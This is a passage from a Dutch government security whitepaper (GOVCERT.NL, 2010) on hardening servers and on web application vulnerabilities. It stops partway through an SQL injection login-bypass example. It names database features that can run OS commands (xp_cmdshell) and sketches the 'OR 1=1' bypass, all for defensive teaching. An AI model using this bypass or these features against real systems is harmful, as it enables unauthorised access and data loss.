Beheermechanismen op basis van een onversleutelde verbinding brengen altijd een beveiligingsrisico met zich mee. Wanneer een organisatie dergelijke beheermechanismen ook toestaat over het internet, vergroot dit de kans dat kwaadwillenden deze authenticatiegegevens onderscheppen. Figuur 4-1 geeft een voorbeeld van de informatie (gebruikersnaam ‘anonymous’ en wachtwoord ‘[email protected]’) die een kwaadwillende kan achterhalen door het onderscheppen van FTP-verkeer.

Figuur 4-1: onderscheppen FTP-authenticatiegegevens via een sniff

4.2.3. Onjuiste autorisaties Het is van belang om de rechten die men toekent aan processen, het bestandssysteem, het register, etcetera zoveel mogelijk in te perken. Het principe dat iets of iemand voor een taak niet meer rechten krijgt toegekend dan strikt noodzakelijk, wordt in het Engels ook wel het ’least privilege’-principe genoemd. Het is één van de basisuitgangspunten voor goede informatiebeveiliging, dat niet alleen wordt toegepast op mensen, maar ook op programma’s en processen. De argumenten voor dit uitgangspunt zijn kortweg dat (1) iemand zijn werk moet kunnen doen en dat (2) in het

Titel

Datum


4-11-2010

Pagina

49

geval van een incident, de schade zoveel mogelijk beperkt moet blijven. Op het moment dat dit ‘least privilege’-principe niet wordt gevolgd, kunnen onveilige situaties ontstaan. Besturingssystemen bieden mogelijkheden om rechten te koppelen aan processen. Dit doet men door een proces onder een bepaald service-account te laten draaien. Daarnaast bieden besturingssystemen altijd de mogelijkheid om rechten te koppelen aan bestanden, directories, etcetera. Richt men de rechten op een webserver niet op een juiste manier in, dan kunnen kwaadwillenden dit uitbuiten; enkele voorbeelden hiervan: •

Er bevindt zich in een buffer overflow in een bepaalde HTTP-listener. Door deze buffer overflow te misbruiken kunnen kwaadwillenden willekeurige code uitvoeren op de webserver. Als de webserver draait onder de rechten van een ’gelimiteerde’ gebruiker dan zijn de mogelijkheden die de kwaadwillende heeft nog enigszins beperkt. Draait de webserver echter onder een gebruiker die veel meer rechten heeft (bijvoorbeeld ’root’, ’SYSTEM’, etcetera), dan zijn de gevolgen van misbruik van deze buffer overflow veel verstrekkender.

•

De directory op een webserver blijkt niet voldoende te zijn afgeschermd. Hierdoor heeft (het account gekoppeld aan) de HTTP-listener schrijfrechten tot de webroot van de webserver. Een kwaadwillende weet dit te misbruiken en plaatst zijn eigen pagina op de webserver. De website raakt hierdoor ’gedefaced’.

•

Voor de verbinding tussen de webapplicatie en een database maakt de webapplicatie gebruik van een Database Administrator (DBA) account. Er blijkt zich echter een SQL-injectie kwetsbaarheid in de webapplicatie te bevinden. Deze SQLinjectie kwetsbaarheid, gecombineerd met de maximale rechten op de database, zorgt ervoor dat kwaadwillenden elke mogelijke actie op de database kunnen uitvoeren (tot aan het verwijderen van de database toe).

Bovenstaande voorbeelden illustreren slechts een aantal mogelijke problemen die kunnen optreden bij onvoldoende aandacht voor het adequaat toekennen van rechten. Het foutief inrichten van rechten kan in de praktijk tot een grote verscheidenheid aan beveiligingsproblemen leiden.

4.2.4. Onnodige services Niet alle geactiveerde services na de installatie van een besturingssysteem zullen nodig zijn. Elke service op een platform kan kwetsbaarheden bevatten en vormt daarmee een potentieel lek. Zeker wanneer een service wel is geïnstalleerd op een systeem maar men geen aandacht heeft geschonken aan de beveiliging ervan (omdat

Titel

Datum


4-11-2010

Pagina

50

men bijvoorbeeld niet verwachtte dat deze service werd geïnstalleerd), ontstaat een belangrijke bron van beveiligingsproblemen.

4.3. Aanbevelingen Alle aanbevelingen uit deze paragraaf vallen onder de noemer ‘hardening van het OS’. Hardening houdt in dat je het besturingssysteem zo inricht, dat dit systeem beter bestand is tegen aanvallen van kwaadwillenden. De technische stappen die nodig zijn om een besturingssysteem te hardenen verschillen per type besturingssysteem. De logische stappen verschillen echter veel minder. De aanbevelingen uit deze paragraaf zijn dan ook vooral generiek van aard. Per aanbeveling is ook een voorbeeld opgenomen hoe deze stap er op een specifiek type besturingssysteem uit zou kunnen zien.

4.3.1. Test hardeningsmaatregelen eerst Voor alle hardeningsmaatregelen die in het vervolg van deze paragraaf aan bod komen, geldt dat deze altijd eerst in een representatieve testomgeving moeten worden uitgeprobeerd voordat ze in een productieomgeving toegepast kunnen worden. Hardeningsmaatregelen kunnen namelijk altijd een onvoorziene negatieve impact hebben op de werking van programmatuur en daarom is het belangrijk te verifiëren of een systeem, ook na het effectueren van hardeningsmaatregelen, goed blijft functioneren.

4.3.2. Richt een solide updatemechanisme in Een solide updatemechanisme is essentieel om voldoende beschermd te zijn tegen bekende beveiligingsproblemen in software. Naast een technische implementatie van een dergelijk mechanisme is het ook van belang om een goede procedure in te richten waarin staat beschreven hoe de organisatie om moet gaan met updates: hoe snel implementeert de organisatie een kritieke patch, welke stadia moet de patch doorlopen, wie draagt de verantwoordelijkheid, etcetera? VOORBEELD Microsoft biedt in zijn besturingssystemen standaard ondersteuning voor een aantal verschillende updatemechanismen. Zo kunnen clients rechtstreeks updates bij Microsoft ophalen via update.microsoft.com en via ‘Automatic Software Updates’. In bedrijfsomgevingen biedt Windows Server Update Services (WSUS) mogelijkheden om patches binnen de eigen infrastructuur uit te rollen. Ook Linuxsystemen kennen standaard updatemechanismen. Hierbij kun je denken aan toepassingen als apt-get (Debian), up2date (Red Hat), MandrakeUpdate (Mandriva), YaST (SUSE) en yum (Fedora).

Titel

Datum


4-11-2010

Pagina

51

Grofweg bestaat een juist ingericht patchmanagement proces uit de volgende onderdelen: •

Stap 1: vaststellen dat een patch beschikbaar is. Voordat een organisatie beseft dat het een patch moet installeren, is het eerst zaak op de hoogte te zijn van het feit dát een patch beschikbaar is. Beheerders moeten bijvoorbeeld websites van leveranciers in de gaten houden, zich abonneren op mailinglijsten of op een andere manier wijzigingen monitoren. De advisorydienst van GOVCERT.NL is een manier om op de hoogte te blijven van de laatst uitgebrachte patches van leveranciers.

•

Stap 2: beoordeel de impact van de uitgebrachte patch en de bijbehorende kwetsbaarheid. Als de impact van zowel kwetsbaarheid als patch bepaald is, kan de organisatie bepalen of er sprake is van een acuut (beveiligings)probleem.

•

Stap 3: verkrijgen van de patch via de leverancier. Tegenwoordig verloopt dat in vrijwel alle gevallen via internet. Controleer na het downloaden van de patch of deze daadwerkelijk afkomstig is van de leverancier, bijvoorbeeld door het controleren van hashes.

•

Stap 4: test de patch in een testen/of acceptatieomgeving. Bekijk of de patch geen negatieve effecten heeft op de bestaande programmatuur. Veelal is het niet mogelijk om alle negatieve effecten uit te sluiten. In dit soort gevallen is het aan te raden om in ieder geval de werking van essentiële programma’s te controleren.

•

Stap 5: rol de patch uit in de productieomgeving. Nadat uit de testen in de testen acceptatieomgeving is gebleken dat de patch geen negatieve effecten heeft, kun je besluiten om de patch uit te rollen op alle productieservers.

•

Stap 6: volg berichtgeving rondom de patch. Nadat een patch is uitgebracht door een leverancier, verschijnen in sommige gevallen berichten op internet waarin organisaties problemen met de patch beschrijven. Deze problemen kunnen zich mogelijk ook voordoen in de eigen omgeving waardoor kennis hiervan van belang kan zijn.

•

Stap 7: evalueer het gehele proces. Ga na of er fouten zijn gemaakt of dat bepaalde onderdelen van het proces efficiënter kunnen verlopen. Pas het patchproces indien nodig aan.

Titel

Datum


4-11-2010

Pagina

52

ACHTERGROND Meer informatie en tips over de inrichting van het patchmanagement proces is ook na te lezen in het GOVCERT.NL whitepaper “Patchmanagement: een beveiligingsadvies… en dan?”. Deze whitepaper geeft niet alleen algemene achtergrondinformatie over het inrichten van patchmanagement, maar geeft ook tips over de implementatie van de beveiligingsadviezen van GOVCERT.NL in het patchmanagement proces. GOVCERT.NL heeft deze whitepaper beschikbaar gesteld via www.govcert.nl: http://www.govcert.nl/download.html?f=112

4.3.3. Verwijder onnodige services Bij het hardenen van het systeem is een belangrijke strategie om de communicatiemogelijkheden van het systeem tot een minimum (het strikt noodzakelijke) te beperken. Eén van de manieren om dit te bereiken is door onnodige services uit te schakelen. Door benodigde services in kaart te brengen en vervolgens de afhankelijkheden te bepalen, kom je tot een minimale lijst van services die op het systeem moeten staan. Alle overige services kun je het beste verwijderen of uitschakelen. Bedenk dat niet-actieve maar wel aanwezige services op een systeem uiteindelijk toch tot een kwetsbaar systeem kunnen leiden aangezien ‘lekke’ programmacode op het systeem aanwezig is. Veiliger is het daarom om onnodige services volledig van het systeem te verwijderen. VOORBEELD Debian biedt de tool rcconf (zie onderstaande schermafdruk) als hulpmiddel voor het bepalen van de services die het systeem moet starten tijdens het opstarten van het systeem. De tool haalt een lijst van services op uit /etc/init.d en kijkt vervolgens in de /etc/rc?.d directories om te bepalen of deze services automatisch starten. Via de tool kun je de configuratie ook aanpassen.

Titel

Datum


4-11-2010

Pagina

53

4.3.4. Richt access controls strikt in U kunt het risico van systeemmisbruik aanzienlijk verminderen door rechten op een systeem te beperken. De manier waarop u rechten op het systeem beperkt, is afhankelijk van het besturingssysteem. Hieronder volgen enkele aanwijzingen voor het inperken van rechten op twee populaire typen besturingssystemen: Linux en Microsoft Windows. Linux: • Chmod (change mode) en chown (change owner) vormen de belangrijkste mechanismen voor het beveiligen van bestanden en directories. Chmod biedt mogelijkheden om rechten op bestanden en directories in te stellen en chown maakt het mogelijk om de eigenaar van een bestand of directory te wijzigen. •

Umask wijzigt de modus voor het aanmaken van nieuwe bestanden. Door via umask een zeer strikte modus in te schakelen, wordt voorkomen dat nieuw aangemaakte bestanden ‘per ongeluk’ toegankelijk zijn voor ongeautoriseerde gebruikers.

•

Setuid (Set UserID) en setgid (Set GroupID) zijn vlaggen die men aan bestanden en directories op een Linux-systeem kan hangen. De vlaggen maken het mogelijk om bepaalde bestanden met tijdelijk verhoogde gebruikersrechten uit te voeren. Het is van belang deze privileges nauwgezet te monitoren en deze selectief uit te delen. Het foutief plaatsen van deze vlaggen kan ertoe leiden dat gebruikers onbedoeld meer rechten krijgen.

•

Normaal gesproken geldt dat, wanneer een gebruiker schrijfrechten heeft op een directory, deze gebruiker ook bestanden uit deze directory kan verwijderen. Dit kan zelfs wanneer de gebruiker niet de eigenaar is van deze bestanden. Door het plaatsen van een zogenaamd ‘sticky bit’ op de directory voorkom je dit.

•

Via Chattr kunnen verschillende attributen op bestanden en directories worden geplaatst. Enkele van deze attributen zijn bruikbaar vanuit het oogpunt van beveiliging. Het gaat in het bijzonder om de volgende attributen: o ‘a’-attribuut: gebruikers (en processen) kunnen een bestand met het ‘a’attribuut alleen in ‘append’-mode openen voor schrijven. Dit betekent dat de gebruiker (of het proces) wel inhoud aan het bestand kan toevoegen, maar bestaande inhoud niet kan overschrijven of verwijderen. o ‘i’-attribuut: gebruikers (en processen) kunnen bestanden met een ‘i’-attribuut niet verwijderen of hernoemen. Daarnaast is het niet mogelijk om links naar dit bestand op te nemen of inhoud naar het bestand te schrijven. o ‘u’-attribuut: als een gebruiker (of proces) een bestand met een ‘u’-attribuut verwijdert, slaat het besturingssysteem de inhoud van dit bestand op. Hierdoor

Titel

Datum


4-11-2010

Pagina

54

biedt het besturingssysteem de mogelijkheid om de verwijdering van een bestand later ongedaan te maken. •

Bovenstaande punten hebben allemaal betrekking op het inperken van rechten op het niveau van het bestandssysteem. Het is in Linux ook mogelijk om de rechten op het niveau van de kernel in te perken. Een handige tool voor het administreren van deze rechten is lcap 19. Het bijzondere aan deze rechtenbeperking via de kernel is dat de beperking ook van toepassing is op de ‘root’-gebruiker. Zaken die de kernel kan beperken c.q. onmogelijk kan maken zijn bijvoorbeeld het wijzigen van de GID en de UID en het ‘killen’ van processen.

Windows: Microsoft Windows biedt de mogelijkheid om rechten toe te passen op o.a. bestanden, directories en het register. Via zogenaamde Group Policy Objects (GPO) kunnen beheerders de rechten van gebruikers centraal via de Active Directory (AD) beheren. Een GPO maakt het mogelijk om centraal beperkingen af te dwingen voor verschillende Windows-onderdelen en -systemen. Enkele voorbeelden van zaken waarop via een GPO centraal beperkingen kunnen worden opgelegd: • • • • •

Gebruikersaccounts: bijvoorbeeld vereisten op het gebied van wachtwoorden en het automatisch blokkeren van accounts na foutieve inlogpogingen. Gebeurtenissen logboek: bijvoorbeeld het instellen van toegang tot het logboek en het instellen van de grootte van het logboek. Systeemservices: bijvoorbeeld het uitschakelen van services op het systeem en het toekennen van rechten aan een service. Register: bijvoorbeeld het instellen van rechten op en waarden van registersleutels. Bestandssysteem: bijvoorbeeld het instellen van standaard rechten voor nieuwe bestanden en het activeren van auditing op de toegang tot bestanden.

4.3.5. Harden de implementatie van essentiële protocollen Door essentiële protocollen op een server te hardenen, voorkom je misbruik van deze protocollen en verhoog je de stabiliteit van het systeem. Twee protocollen die zich uitstekend lenen voor hardening zijn TCP en IP. Zoals al in paragraaf 3.3.9 werd beschreven, kan het hardenen van de TCP/IP-stack ervoor zorgen dat het risico op een succesvolle DoS-aanval vermindert.

19

lcap staat voor Linux Capabilities. Via de lcap-tool is het mogelijk om capabilities te verwijderen. Zie bijvoorbeeld http://www.symantec.com/connect/articles/introduction-linux-capabilities-and-acls voor meer informatie over capabilities en het gebruik van lcap.

Titel

Datum


4-11-2010

Pagina

55

VOORBEELD De TCP/IP-stack van Windows Server 2003 is standaard ingericht voor het afhandelen van intranetverkeer. Als een organisatie een Windows Server 2003 machine aansluit op internet, raadt Microsoft aan enkele wijzigingen door te voeren in de configuratie van de TCP/IP-stack. Deze wijzigingen voer je door, door de inhoud van bepaalde registersleutels aan te passen. Deze wijzigingen hebben tot doel om: • • • • •

Time-outs gedurende een SYN-attack te verminderen. Te voorkomen dat het systeem dynamisch een alternatieve gateway verkiest. Te voorkomen dat het systeem een dynamische MTU kiest. Keep-alive mechanismen in te schakelen. Te voorkomen dat het systeem zijn NetBIOS-naam vrijgeeft via NetBIOS over TCP/IP (NetBT).

Zie voor meer informatie: http://support.microsoft.com/?kbid=324270 In webomgevingen leent ook HTTP zich voor hardening. Om bijvoorbeeld een Denialof-Service-aanval op HTTP-niveau te voorkomen, kun je ervoor kiezen om de idle timeout van een HTTP-sessie te verkleinen en ‘session pooling’ tussen een eventuele application-level firewall (hoofdstuk 7) en webservers in te schakelen. ‘Session pooling’ verhoogt de performance van HTTP doordat niet continu nieuwe HTTPsessies opgebouwd hoeven te worden. Zo kan een application-level firewall meerdere kleinere bestanden via één HTTP-sessie ophalen bij een webserver. Naast dat dit leidt tot meer efficiëntie en betere responsetijden, helpt dit ook in het voorkomen van eerder genoemde DoS-aanvallen.

4.3.6. Maak gebruik van jailing Een mechanisme dat voornamelijk bestaat op het Linux- en UNIX-platform is jailing (sandboxing). Het is een manier om een proces te isoleren van de rest van een besturingssysteem. Een bekende implementatie hiervan is chroot. Het commando chroot wijzigt de root-directory voor een proces (change root). Door een proces via chroot te laten werken, heeft het proces geen toegang meer tot bestanden die zich buiten deze root-directory bevinden. Dit mechanisme kun je bijvoorbeeld inzetten om een Apache-server geïsoleerd te laten draaien. VOORBEELD Over het ‘chrooten’ van Apache zijn enkele goede ‘howto’-artikelen terug te vinden op internet. Zie onder andere: • •

Howto: Chroot Apache (haught.org): http://www.haught.org/freebsdapache.php Chrooting Apache (Linux.com): http://www.linux.com/archive/articles/36331

Titel

Datum


4-11-2010

Pagina

56

Naast het afschermen van directories via chroot bestaan er ook mechanismen om andere delen van het besturingssysteem af te schermen; voorbeelden zijn het beperken van I/O rates, het beperken van het toegestane hoeveelheid geheugen en het beperken van de toegestane hoeveelheid CPU-cycles. VOORBEELD Afscherming van processen kan zover gaan dat op een gegeven moment virtualisatie ontstaat. Toepassingen als VMware, QEMU, Xen, Kernel-based Virtual Machine (KVM) en Microsoft Virtual Server bieden bijvoorbeeld de mogelijkheid om volledig autonome besturingssystemen naast elkaar te laten functioneren.

4.3.7. Hanteer strikte OS-authenticatie(mechanismen) Het is cruciaal dat beheerders de authenticatie tot systemen zeer strikt inregelen. Afhankelijk van het type besturingssysteem kunnen zij hiertoe een aantal verschillende maatregelen treffen. De volgende aanbevelingen zijn van toepassing op vrijwel alle besturingssystemen: • •

•

• •

• •

Zorg ervoor dat het systeem niet toegankelijk is op basis van ‘anonieme’ accounts zoals een gastaccount. Beperk toegang op afstand tot accounts met gelimiteerde rechten. Zorg er dus bijvoorbeeld voor dat toegang op basis van root- of beheerderaccounts niet mogelijk is. Beheerders moeten op afstand inloggen met een gelimiteerd beheeraccount en vervolgens lokaal, daar waar nodig, gebruik maken van verhoogde rechten via mechanismen als sudo (Linux) en RunAs (Windows). Overweeg de invoering van sterke authenticatiemechanismen voor de toegang tot systemen. Deze mechanismen kenmerken zich door het gebruik van twee factoren voor authenticatie. Zie hoofdstuk 8 (‘Identiteit- en toegangsbeheer’) voor meer informatie over dergelijke authenticatiemechanismen. Beperk de groepslidmaatschappen van gebruikers. Implementeer een strikt wachtwoordbeleid. In een wachtwoordbeleid legt een organisatie zaken vast als minimale wachtwoordlengte, lengte van de wachtwoordhistorie, complexiteit van het wachtwoord en account lock-outs. Verwijder of blokkeer ongebruikte accounts en standaard aanwezige accounts. Hernoem ‘bekende’ accounts die niet verwijderd kunnen worden (zoals ‘administrator’).

4.3.8. Maak gebruik van veilige beheermechanismen Voorkom zoveel mogelijk het gebruik van onveilige beheermechanismen. Gebruik dus bijvoorbeeld SSH in plaats van Telnet. Zorg er daarnaast voor dat beheerinterfaces alleen bereikbaar zijn vanaf een gescheiden beheernetwerk (zie hoofdstuk 3).

Titel

Datum


4-11-2010

Pagina

57

Het gebruik van ‘backdoors’ moet absoluut uitgesloten zijn. Een backdoor voor beheer is bijvoorbeeld een beheerinterface waarvoor geen authenticatie nodig is maar die draait op poort 8888 en daardoor moeilijk te ontdekken zou moeten zijn (‘security through obscurity’). De kans is echter groot dat kwaadwillenden backdoors vroeg of laat ontdekken, en erin slagen om deze te misbruiken.

4.3.9. Maak back-ups Back-ups vormen een laatste redmiddel in het geval de integriteit of beschikbaarheid van systemen of applicaties is aangetast. Nog beter is het wanneer deze back-ups onderdeel uitmaken van een Disaster Recovery Plan (DRP). Om dit laatste redmiddel te kunnen hanteren moet je beschikken over recente backups van deze systemen. Dagelijkse back-ups zijn vaak voldoende maar voor sommige dynamische componenten (zoals databases) is deze dagelijkse snapshot wellicht niet afdoende. Bij dergelijke componenten kun je overwegen om de transactielog van de database beschikbaar te stellen op een uitwijklocatie (‘remote journaling’). In het geval het component crasht, kun je een up-to-date versie van het component creëren door de laatste back-up hiervan terug te zetten en hierop de transactielog toe te passen. Het is aan te raden om back-ups te versleutelen. Valt een back-up onverhoopt in handen van een kwaadwillende, dan kan deze in dit geval geen toegang krijgen tot de informatie in de back-up. Tot slot is het van belang om regelmatig te testen of de gemaakte back-ups de mogelijkheid bieden om een verloren gegaan systeem opnieuw op te bouwen.

4.3.10. Maak gebruik van lokale firewalls In het vorige hoofdstuk werd beschreven hoe centraal geplaatste firewalls de omgeving kunnen beschermen tegen kwaadwillenden. Naast deze centrale firewalls is het ook mogelijk om decentraal, op de verschillende machines, een aparte firewall te laten werken. Deze lokale (decentrale) firewalls vormen daarmee een extra laag in de beveiliging. Enkele voorbeelden van deze firewalls zijn: •

Ipfw: FreeBSD packet filter. Het is daarnaast een standaard onderdeel van Apple Mac OS. Voor simpele regels biedt Apple daarnaast een eenvoudige grafische gebruikersinterface.

•

Pf: OpenBSD packet filter. Is de opvolger van ipfilter voor het OpenBSD platform.

Titel

Datum


4-11-2010

Pagina

58

•

Iptables: standaard onderdeel van veel Linux-distributies. Maakt gebruik van netfilter.

•

Ipfilter (ipf): onderdeel van Linux-distributies en UNIX (onder andere Sun Solaris 10).

•

Windows Firewall: onderdeel van Windows XP SP2, Windows Vista, Windows 7 en Windows Server 2003/2008.

Lokale firewalls hebben als voordeel dat ze niet alleen op poortniveau controles kunnen uitvoeren maar ook op procesniveau. Verder hebben lokale firewalls vaak meer inzicht in het binnenkomende verkeer omdat op de machine zelf ontsleuteling van versleutelde tunnels plaatsvindt. Daarnaast bevatten lokale firewalls vaak veel minder regels in de rulebase waardoor fouten in de configuratie minder aannemelijk zijn. Tot slot bieden deze firewalls veelal ook uitgebreide mogelijkheden op het gebied van logging en Network Address Translation (NAT). ACHTERGROND Door de uitgebreide mogelijkheden die voornamelijk de Linuxen UNIX-gebaseerde firewalls leveren, is het ook mogelijk deze in te zetten als centrale firewall. Wanneer een firewall wordt ingezet als een centrale firewall, spreekt men ook wel van een perimeter firewall (pfw). Een lokale firewall noemt men in dit verband ook wel een end-point firewall (epfw).

4.3.11. Audit de wijzigingen op het systeem Op het moment dat een kwaadwillende erin slaagt om een kwetsbaar systeem te compromitteren, zal deze vaak wijzigingen (moeten) aanbrengen op dit systeem. Het auditen van de wijzigingen die op systemen plaatsvinden, kan daarom helpen in het opmerken van misbruik van de omgeving. Door op het platform tools in te zetten die deze wijzigingen in kaart brengen en deze informatie beschikbaar te stellen aan ‘Monitoring, auditing en alerting’ (hoofdstuk 11) kun je deze wijzigingen adequaat monitoren.

Titel

Datum


4-11-2010

Pagina

59

VOORBEELDEN Eén van de bekendste tools die men kan inzetten om wijzigingen op een systeem te detecteren is Tripwire. Er is zowel een commerciële als een open source versie van dit pakket beschikbaar. Tripwire houdt een database bij waarin het een snapshot van het bestandssysteem opslaat. Via een policy bepaalt Tripwire welke wijzigingen op dit snapshot mogelijk gevaarlijk zijn (bijvoorbeeld het toevoegen van een gebruiker of een ‘root’-gebruiker zonder wachtwoord). Microsoft Windows kent ingebouwde functionaliteit om wijzigingen op bestanden e.d. te auditen20. Het is van belang dat men, bij toepassing hiervan, strikte auditregels opstelt aangezien anders de hoeveelheid auditdata extreme vormen kan aannemen.

4.3.12. Maak gebruik van beveiligingstemplates Alle hardeningsmaatregelen die nodig zijn voor servers kan een organisatie opnemen in beveiligingstemplates. Beveiligingstemplates kun je opstellen aan de hand van het gebruikte besturingssysteem (bijvoorbeeld ‘Microsoft Windows Beveiligingstemplate’) en aan de hand van de rol die het systeem vervult (bijvoorbeeld webserver, databaseserver, etcetera). Beveiligingstemplates bestaan in ieder geval uit documenten die de hardening beschrijven. Scripts, images, configuratiebestanden, etcetera kunnen deze templates vervolgens technisch ondersteunen. ACHTERGROND Er zijn op internet diverse handleidingen te vinden voor het opstellen van beveiligingstemplates. Onderstaand vindt u een opsomming van enkele bruikbare stukken op dit gebied: •

•

• •

20

Windows Server 2003 Security Guide (Microsoft): http://www.microsoft.com/downloads/details.aspx?familyid=8a2643c1-0685-4d89b655-521ea6c7b4db The Threats and Countermeasures Guide (Microsoft): http://www.microsoft.com/downloads/details.aspx?FamilyID=1b6acf93-147a-44819346-f93a4081eea8&DisplayLang=en Linux Security Checklist (SANS): http://www.sans.org/score/checklists/linuxchecklist.pdf Red Hat Linux Security Guide (RedHat): http://www.redhat.com/docs/manuals/linux/RHL-9-Manual/security-guide/

Zie bijvoorbeeld http://www.neteye-blog.it/?p=572 voor een beschrijving van hoe dit kan worden ingesteld.

Titel

Datum


4-11-2010

Pagina

60

5.

Applicatiebeveiliging - kwetsbaarheden

Daar waar netwerkbeveiliging zich richt op het afschermen van het netwerk op basis van te onderscheiden protocollen, zal applicatiebeveiliging een niveau dieper gaan en de inhoud van de protocollen willen bekijken. De nadruk bij het beveiligen van webapplicaties ligt vaak op dit niveau. Logisch, aangezien men bij kwetsbaarheden in webapplicaties ook vaak direct moet denken aan problemen op applicatieniveau zoals SQL-injectie en Cross-Site Scripting (XSS). Aangezien het terrein van applicatiebeveiliging zeer groot is, beschrijft deze whitepaper dit onderwerp in drie verschillende hoofdstukken. In dit hoofdstuk komen allereerst de meest voorkomende OWASP Top 10 2010 kwetsbaarheden in webapplicaties en de oorzaken hiervan aan de orde. Hoofdstuk 6 gaat vervolgens in 1. Injection op de maatregelen die een organisatie moet treffen 2. Cross-Site Scripting (XSS) tegen deze kwetsbaarheden. Hoofdstuk 7 beschrijft 3. Broken Authentication and tot slot de werking van Web Application Firewalls, Session Management systemen die firewalling services bieden op 4. Insecure Direct Object webapplicatieniveau. References 5.

Cross-Site Request Forgery (CSRF)

5.1. Inleiding 6. Security Misconfiguration De meest bekende kwetsbaarheden in 7. Insecure Cryptographic Storage webapplicaties zijn ongetwijfeld XSS en SQL-injectie. 8. Failure to Restrict URL Access Ondanks deze bekendheid komen beide 9. Insufficient Transport Layer kwetsbaarheden helaas nog steeds veelvuldig voor Protection in webapplicaties. In de top 10 van ‘Web Application 10. Unvalidated Redirects and Security Risks’ van 2010 (zie het kader ‘OWASP Top Forwards 10 2010’) van het Open Web Application Security 21 Project (OWASP) staan deze twee kwetsbaarheden op nummer 1 en 2. Uiteraard zal dit hoofdstuk aandacht besteden aan deze en andere kwetsbaarheden uit de OWASP top 10. Sommige kwetsbaarheden uit de OWASP top 10 zult u in dit hoofdstuk niet terug vinden omdat ze onderdeel uitmaken van één van de andere lagen van het RBW. Dit geldt bijvoorbeeld voor de kwetsbaarheid ‘Broken Authentication and Session Management’ (nummer 3 uit de OWASP top 10) die aan bod komt in het hoofdstuk over identiteiten toegangsbeheer (hoofdstuk 8).

21

Zie http://www.owasp.org/index.php/OWASP_Top_10

Titel

Datum


4-11-2010

Pagina

61

5.2. Kwetsbaarheden Deze paragraaf behandelt de meest voorkomende en ernstigste kwetsbaarheden in webapplicaties. In de volgende paragraaf komen vervolgens de oorzaken van deze kwetsbaarheden aan de orde.

5.2.1. SQL-injectie Webapplicaties maken vaak gebruik van databases voor het opslaan en oproepen van allerhande informatie. Structured Query Language (SQL) is de taal die elke database ondersteunt om toegang tot deze informatie mogelijk te maken Databases lijken tegenwoordig kleine besturingssystemen, aangezien de acties die men via queries (of stored procedures) kan uitvoeren steeds krachtiger en uitgebreider worden. Het is ondoenlijk om alle mogelijke functionaliteiten die databases bieden in deze whitepaper op te sommen, maar om een idee te geven van de mogelijkheden die SQL biedt, volgt hieronder een kleine opsomming: •

Elke database biedt de mogelijkheid om informatie uit de database op te vragen (SELECT), te verwijderen (DELETE) en te wijzigen (UPDATE). Daarnaast is het uiteraard mogelijk om nieuwe informatie aan de database toe te voegen (INSERT). Deze functionaliteiten vormen de basis van elke database.

•

Databases bieden vaak de mogelijkheid om DNS-verzoeken uit te voeren (bijvoorbeeld utl_inaddr.get_host_address in Oracle) waardoor men vanuit de database hostnamen kan omzetten naar IP-adressen.

•

Vaak is het mogelijk om via de aanroep van een stored procedure (bijvoorbeeld xp_sendmail in Microsoft SQL Server), mail te versturen. Daarbij biedt de database vaak de mogelijkheid om de inhoud van de mail te baseren op de uitvoer van een query.

•

Het inlezen van een webpagina behoort ook vaak tot de mogelijkheden van een database (bijvoorbeeld utl_http.request in Oracle).

•

Sommige databases bieden zelfs de mogelijkheid om commando’s op OS-niveau aan te roepen (bijvoorbeeld xp_cmdshell in Microsoft SQL Server).

Deze functionaliteiten kunnen heel nuttig zijn voor ontwikkelaars en de mogelijkheid bieden om in korte tijd een complexe webapplicatie te implementeren. Nadeel is dat de schade door kwetsbaarheden in de webapplicatie erg groot kan worden. Daarom is SQL-injectie een belangrijke bedreiging.

Titel

Datum


4-11-2010

Pagina

62

Een SQL-injectiekwetsbaarheid ontstaat door onvoldoende controles op de invoer van gebruikersdata en door onveilige programmeergewoonten. De aanwezigheid van een SQL-injectiekwetsbaarheid betekent dat iedereen vanaf internet in staat is om de SQLverzoeken die de webapplicatie verstuurt naar de database, Het Asprox botnet te manipuleren. Daarbij heeft de aanvaller vaak toegang tot Asprox is malware die sinds alle functionaliteiten die de database biedt. De gevolgen van 2008 op grote schaal SQLdeze kwetsbaarheid zijn in grote mate afhankelijk van de injectiekwetsbaarheden in programmalogica. Mogelijke gevolgen zijn: websites misbruikt. De

•

• •

•

• •

Een kwaadwillende kan het authenticatiemechanisme van de webapplicatie omzeilen en op deze manier ongeautoriseerd ‘inloggen’ op de webapplicatie. Een kwaadwillende kan gegevens in de database wijzigen. Een kwaadwillende kan de volledige database verwijderen (‘droppen’) waardoor alle informatie uit de database verloren gaat. Een kwaadwillende kan een eigen gebruikersaccount aanmaken en dit account gebruiken om toegang tot de webapplicatie te verkrijgen en te behouden. Een kwaadwillende kan informatie aan de database of het onderliggende besturingssysteem onttrekken. Een kwaadwillende kan malafide links in de database injecteren waardoor bezoekers van de website geïnfecteerd raken met malware. Het Asprox botnet staat hier bijvoorbeeld om bekend (zie kader ‘Het Asprox botnet’).

malware zoekt via Google naar websites die gebruik maken van ASP en parameters in de URL, veelal IIS-webservers gekoppeld aan een SQL-Server. De malware probeert door middel van SQL-injectie om links naar malafide sites (met daarop diverse exploits) in de databases van deze websites te injecteren. Gebruikers die de geïnfecteerde websites bezoeken, kunnen hierdoor automatisch (en vaak ongemerkt) geïnfecteerd raken met malware.

5.2.1.1. Een voorbeeld van SQL-injectie Bovenstaande gevolgen dienen slechts als voorbeeld. In de praktijk zijn de mogelijkheden die een aanvaller met SQL-injectie heeft vrijwel oneindig. In figuur 5-1 is een voorbeeld opgenomen van een SQL-injectiekwetsbaarheid die ertoe kan leiden dat een gebruiker zonder geldige combinatie van gebruikersnaam en wachtwoord toch kan inloggen op de webapplicatie.

Titel

Datum


4-11-2010

Pagina

63

Figuur 5-1: voorbeeld van SQL-injectie

Zoals het proces in figuur 5-1 weergeeft, vertrouwt de webapplicatie de invoer van de gebruiker zonder meer en verwerkt de webapplicatie deze invoer rechtstreeks in een SQL-verzoek richting de database. De programmalogica is zodanig gebouwd dat een gebruiker succesvol geauthenticeerd is wanneer de query meer dan 0 resultaten genereert; het idee hierachter is dat het zoeken op een combinatie van gebruikersnaam en wachtwoord alleen resultaten oplevert als de gebruikersnaam en het bijbehorende wachtwoord voorkomen in de database. De webapplicatie construeert hiertoe de volgende query: SELECT FROM WHERE AND

* gebruikers gebruikersnaam = ‘’ wachtwoord = ‘<wachtwoordveld>’

Door het wachtwoordveld te manipuleren kan de kwaadwillende bereiken dat de webapplicatie aan de zoekopdracht de voorwaarde ‘OF 1=1’ toevoegt. Dit bereikt de

Titel

Datum


4-11-2010

Pagina

64

